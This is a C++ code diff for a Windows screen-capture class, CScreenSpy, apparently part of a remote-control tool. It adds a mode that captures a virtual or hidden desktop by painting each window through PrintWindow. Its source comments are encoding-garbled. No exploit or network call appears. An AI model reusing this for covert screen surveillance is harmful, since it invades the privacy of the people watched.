m_RectBuffer[0] = TOKEN_FIRSTSCREEN; m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage); memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
if (m_bAlgorithm == ALGORITHM_GRAY) { if (m_bAlgorithm == ALGORITHM_GRAY) {
@@ -108,6 +105,13 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight) VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
{ {
if (m_bVirtualPaint){
int n = 0;
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
Mprintf("EnumWindowsTopToDown failed: %d!!!\n", n);
}
return;
}
AUTO_TICK(70); AUTO_TICK(70);
#if COPY_ALL #if COPY_ALL
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY); BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, SRCCOPY);

View File

@@ -14,24 +14,76 @@
#include "ScreenCapture.h" #include "ScreenCapture.h"
class EnumHwndsPrintData {
public:
EnumHwndsPrintData() {
memset(this, 0, sizeof(EnumHwndsPrintData));
}
void Create(HDC desktop, int _x, int _y, int w, int h) {
x = _x;
y = _y;
width = w;
height = h;
hDcWindow = CreateCompatibleDC(desktop);
hBmpWindow = CreateCompatibleBitmap(desktop, w, h);
}
EnumHwndsPrintData& SetScreenDC(HDC dc) {
hDcScreen = dc;
return *this;
}
~EnumHwndsPrintData() {
if (hDcWindow) DeleteDC(hDcWindow);
hDcWindow = nullptr;
if (hBmpWindow)DeleteObject(hBmpWindow);
hBmpWindow = nullptr;
}
HDC GetWindowDC() const {
return hDcWindow;
}
HDC GetScreenDC() const {
return hDcScreen;
}
HBITMAP GetWindowBmp() const {
return hBmpWindow;
}
int X() const {
return x;
}
int Y() const {
return y;
}
int Width()const {
return width;
}
int Height()const {
return height;
}
private:
HDC hDcWindow;
HDC hDcScreen;
HBITMAP hBmpWindow;
int x;
int y;
int width;
int height;
};
class CScreenSpy : public ScreenCapture class CScreenSpy : public ScreenCapture
{ {
private: protected:
HWND m_hDeskTopWnd; //<2F><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD>ھ<EFBFBD><EFBFBD><EFBFBD> HDC m_hDeskTopDC; // <20><>Ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HDC m_hFullDC; //Explorer.exe <20>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD>豸DC HDC m_hFullMemDC; // <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HDC m_hDiffMemDC; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HBITMAP m_BitmapHandle; // <20><>һ֡λͼ
HBITMAP m_DiffBitmapHandle; // <20><><EFBFBD><EFBFBD>֡λͼ
PVOID m_BitmapData_Full; // <20><>ǰλͼ<CEBB><CDBC><EFBFBD><EFBFBD>
PVOID m_DiffBitmapData_Full; // <20><><EFBFBD><EFBFBD>λͼ<CEBB><CDBC><EFBFBD><EFBFBD>
HDC m_hFullMemDC; BOOL m_bVirtualPaint;// <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HBITMAP m_BitmapHandle; EnumHwndsPrintData m_data;
PVOID m_BitmapData_Full;
HDC m_hDiffMemDC;
HBITMAP m_DiffBitmapHandle;
PVOID m_DiffBitmapData_Full;
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
public: public:
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP); CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP);
virtual ~CScreenSpy(); virtual ~CScreenSpy();
@@ -65,21 +117,69 @@ public:
return m_BitmapInfor_Full->bmiHeader.biSizeImage; return m_BitmapInfor_Full->bmiHeader.biSizeImage;
} }
FORCEINLINE VOID WriteRectBuffer(LPBYTE szBuffer, ULONG ulLength) static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
{ {
memcpy(m_RectBuffer + m_RectBufferOffset, szBuffer, ulLength); if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
m_RectBufferOffset += ulLength; return TRUE;
RECT rect;
if (!GetWindowRect(hWnd, &rect))
return FALSE;
HDC hDcWindow = data->GetWindowDC();
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
BOOL ret = FALSE;
if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
ret = TRUE;
}
SelectObject(hDcWindow, hOldBmp);
return ret;
}
static int EnumWindowsTopToDown(HWND owner, WNDENUMPROC proc, LPARAM param)
{
HWND currentWindow = GetTopWindow(owner);
if (currentWindow == NULL)
return -1;
if ((currentWindow = GetWindow(currentWindow, GW_HWNDLAST)) == NULL)
return -2;
while (proc(currentWindow, param) && (currentWindow = GetWindow(currentWindow, GW_HWNDPREV)) != NULL);
return 0;
}
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
{
AUTO_TICK_C(50);
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
char text[_MAX_PATH] = {};
GetWindowText(hWnd, text, sizeof(text));
Mprintf("PaintWindow %s[%p] failed!!!\n", text, hWnd);
}
static OSVERSIONINFOA versionInfo = { sizeof(OSVERSIONINFOA) };
static BOOL result = GetVersionExA(&versionInfo);
if (versionInfo.dwMajorVersion < 6) {
DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
EnumWindowsTopToDown(hWnd, EnumHwndsPrint, lParam);
}
return TRUE;
} }
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength); virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength);
virtual LPBYTE ScanNextScreen() { virtual LPBYTE ScanNextScreen() {
ScanScreen(m_hDiffMemDC, m_hFullDC, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); ScanScreen(m_hDiffMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
return (LPBYTE)m_DiffBitmapData_Full; return (LPBYTE)m_DiffBitmapData_Full;
} }
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
}; };
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)